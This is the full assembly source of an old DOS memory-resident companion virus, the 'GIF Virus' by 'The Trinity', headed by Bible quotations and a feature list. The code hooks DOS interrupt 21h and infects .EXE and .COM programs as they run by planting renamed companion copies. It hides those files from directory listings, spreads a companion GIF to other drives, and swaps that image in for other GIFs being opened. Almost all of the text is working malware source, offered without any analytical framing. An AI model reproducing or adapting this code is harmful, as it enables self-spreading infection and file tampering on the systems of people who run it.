;       "But I say to you that whoever looks at a woman to lust for her
;        has already committed adultery with her in his heart."
;                                       - The Gospel of Matthew 5:27
;
;               "And God said, 'Let there be a GIF virus'..."
;
;                       The Trinity Proudly Presents
;                              The GIF Virus
;                   (No, it doesn't infect GIF files...)
;                        Brought into Existence By
;                                  God
;
;       This one is for all of the giffy boys and girls out there...
;
;       "If your right eye causes you to sin, pluck it out and cast it
;        from you;  for it is more profitable for you that one of your
;        members perish, than for your whole body to be cast into hell."
;                                       - Matthew 5:28
;
;                                 Features
;                                ÍÍÍÍÍÍÍÍÍÍ
;             Memory Resident Companion .EXE and .COM infector
;           ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;               Manages a Companion Companion File (The GIF)
;             ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;                  Infects on Execution and Drive Changes
;                ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;                   Some Directory Stealth Routines for
;                   the Companion Files and the GIF file
;                 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;               A cool GIF will definitely turn your stomach
;             ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
;       *NOTE*: To initiate this virus, you must copy HAHA.GIF to the
;               root directory.
;
;       "And if your right hand causes you to sin, cut it off and cast
;        it from you; for it is more profitable for you that one of your
;        members perish, than for your whole body to be cast into hell."
;                                       - Matthew 5:29
;
;                   "... And God saw that it was good."

.286                                            ; If you don't have a 286...
.model tiny                                     ; ... nevermind.
.radix 16
.code
        org     100h
main:

Allocate_Mem:
        push    ds
        mov     ax,ds
        dec     ax
        mov     ds,ax
        mov     byte ptr ds:[0],'Z'
        sub     word ptr ds:[03],120
        sub     word ptr ds:[12],120
        xor     ax,ax
        mov     ds,ax
        sub     word ptr ds:[413],3
        mov     ax,word ptr ds:[413]
        mov     cl,6
        shl     ax,cl
        sub     ax,10
        mov     es,ax

Copy_Virus:
        mov     di,100h
        lea     si,main
        pop     ds
        mov     cx,(_end-main+1)/2
        repnz   movsw

Set_Interrupts:
        push    es es
        pop     dx ds
        xor     ax,ax
        mov     es,ax

        cli
        lea     ax,Int_21
        xchg    word ptr es:[21*4],ax           ; Redirect Int 21
        xchg    word ptr es:[21*4+2],dx
        mov     [IP_21],ax                      ; Save old Int 21
        mov     [CS_21],dx
        mov     word ptr es:[65*4],ax           ; Redirect Int 65 to
        mov     word ptr es:[65*4+2],dx         ; old Int 21
        sti

Exec_Command:
        push    cs
        pop     ds

        push    word ptr ds:[2c]                ; Get segment for environment
        pop     ds
        xor     si,si

Goto_Command:
        lodsw                                   ; Skip junk at beginning of
        cmp     ax,0                            ; environment.
        je      Got_Command                     ; There is a 0000h right before
        dec     si                              ; the command line.
        jmp     Goto_Command

Got_Command:
        lodsw

        push    cs
        pop     es

        lea     di,filename
Get_Name:
        stosb                                   ; Copy command line.
        lodsb
        cmp     al,'.'
        jne     Get_Name
        push    cs
        pop     ds
        mov     si,81
Get_Param:                                      ; Copy parameters
        lodsb
        stosb
        cmp     al,0dh
        jne     Get_Param

        mov     cx,di
        lea     si,filename
        sub     cx,si
        mov     byte ptr es:[si],cl

        mov     ah,4a
        mov     bx,(_end-main+10)/10
        int     21

        int     2e                              ; Execute.

        mov     ax,4c00
        int     21

open_file:
        inc     cs:counter
        cmp     cs:counter,7                    ; Shows GIF on every 7th
        jl      go_int21                        ; open.
        mov     cs:counter,0

        push    si
        xor     si,si
        xchg    bx,dx
next_byte:
        cmp     byte ptr [bx+si],'G'            ; Is it a GIF?
        je      found
        cmp     byte ptr [bx+si],'g'
        je      found
        cmp     byte ptr [bx+si],0
        je      not_gif
        inc     si
        jmp     next_byte
found:
        inc     si
        cmp     [bx+si],4649
        je      open_my_file
        cmp     [bx+si],6669
        jne     next_byte

open_my_file:                                   ; If so, open my GIF :)
        xchg    bx, dx
        push    ds
        push    cs
        pop     ds
        push    dx
        lea     dx,the_file
        inc     cs:in_prog
        int     21
        dec     cs:in_prog
        pop     dx ds si
        iret

not_gif:
        xchg    bx,dx
        pop     si
        jmp     go_int21


go_int21:
        db      0ea
        IP_21   dw      ?
        CS_21   dw      ?

dc:
        jmp     driv_chng

of:
        jmp     open_file

found_file:
        pop     ds es
        popf
        popa
        retf    02

error_find:
        mov     ax,12h
        retf    02

find_file:
        int     65
        jc      error_find

        pusha
        pushf
        push    es ds
        mov     ah,2f
        int     65
        cmp     word ptr es:[bx+1a],offset end_prog-100
        je      find_next

not_virus:
        push    cs
        pop     ds
        mov     si,offset the_file+1
        add     bx,1e
        mov     di,bx
        mov     cx,4
        rep     cmpsb
        or      cx,cx
        jz      find_next

find_ext:
        inc     bx
        cmp     byte ptr es:[bx],'.'
        jne     find_ext

        cmp     word ptr es:[bx+2],'ZX'
        jne     not_EXZ1
        mov     byte ptr es:[bx+3],'E'
        jmp     found_file
not_EXZ1:
        cmp     word ptr es:[bx+2],'ZO'
        jne     found_file
        mov     byte ptr es:[bx+3],'M'
        jmp     found_file

find_next:
        pop     ds es
        popf
        popa
        mov     ah,4fh
        jmp     find_file

Int_21:
        cmp     cs:[in_prog],00h                ; Is stealth on?
        jne     go_int21
        cmp     ah,0eh
        je      dc
        cmp     ah,3dh
        je      of
        cmp     ax,4b00
        je      execute
        cmp     ah,11
        je      find_fcb
        cmp     ah,12
        je      find_fcb
        cmp     ah,4eh
        je      find_file
        cmp     ah,4f
        je      find_file
        jmp     go_int21

find_fcb:
        int     65
        cmp     al,0ff
        je      no_matching_fcb

check_file:
        pusha
        push    es ds

        mov     ah,2f
        int     65
        cmp     byte ptr es:[bx],0ff
        jne     not_extended
        add     bx,8

not_extended:
        cmp     word ptr es:[bx+1c],offset end_prog-100
        je      find_next_fcb
        push    cs
        pop     ds
        mov     si,offset the_file+1
        mov     di,bx
        mov     cx,4
        rep     cmpsb
        or      cl,cl
        jz      find_next_fcb
        cmp     word ptr es:[bx+9],'ZX'
        jne     not_EXZ2
        mov     byte ptr es:[bx+0A],'E'
        jmp     found_file_fcb
not_EXZ2:
        cmp     word ptr es:[bx+9],'ZO'
        jne     found_file_fcb
        mov     byte ptr es:[bx+0A],'M'
        jmp     found_file_fcb

find_next_fcb:
        pop     ds es
        popa
        mov     ah,12
        jmp     find_fcb

found_file_fcb:
        pop     ds es
        popa

no_matching_fcb:
        iret

execute:
        push    si es di ax cx ds bx dx
        push    cs
        pop     es
        mov     si,dx
        lea     di,filename
        push    di

copy_str:
        lodsb
        stosb
        or      al,al
        jnz     copy_str

        mov     byte ptr es:[di-2],'Z'          ; Infection Routine

        mov     ah,56                           ; Rename
        pop     di
        int     65
        jc      already_there

        mov     ah,3c                           ; Copy Virus
        mov     cl,0010b
        int     65

        push    cs
        pop     ds
        xchg    bx,ax
        mov     ah,40
        mov     cx,offset end_prog-100
        mov     dx,100
        int     65

        mov     ah,3e
        int     65

already_there:
        pop     dx bx ds cx ax di es
        mov     byte ptr ds:[si-2],'Z'
        pop     si
        jmp     go_int21

driv_chng:                                      ; Copies the GIF companion on
        push    ds                              ; drive changes.
        push    es
        pusha
        inc     cs:in_prog
                                                ; check to see if same drive
        mov     ah,19
        int     21
        cmp     al,dl
        je      pop_a
        push    cs                              ; open the file to copy
        pop     ds
        mov     ax,3d00
        push    dx
        lea     dx,the_file
        int     21
        pop     dx
        jc      pop_a
        mov     di,ax

        mov     ah,0e
        int     21
        mov     ah,4e
        mov     cx,00100011b
        lea     dx,the_file
        add     dx,2
        int     21
        jnc     close_2nd

        mov     ah,3c
        mov     cx,00100011b
        lea     dx,the_file
        int     21
        xchg    di,ax

        lea     dx,_end
        mov     bx,ax

read_write:
        mov     ah,3f
        mov     cx,800
        int     21
        xchg    bx,di
        mov     cx,ax
        mov     ah,40
        int     21
        xchg    bx,di
        cmp     ax,800
        jnb     read_write
        xchg    bx,di
        mov     ah,3e
        int     21
close_2nd:
        mov     bx,di
        mov     ah,3e
        int     21

pop_a:
        popa
        pop     es
        pop     ds
        dec     cs:in_prog
        jmp     go_int21

the_file        db      '\HAHA.GIF',0 ; Name of our .GIF

counter         db      0             ; To keep track of number of files viewed
in_prog         db      0
end_prog:
filename        db      50 dup(?)
_end:
end main
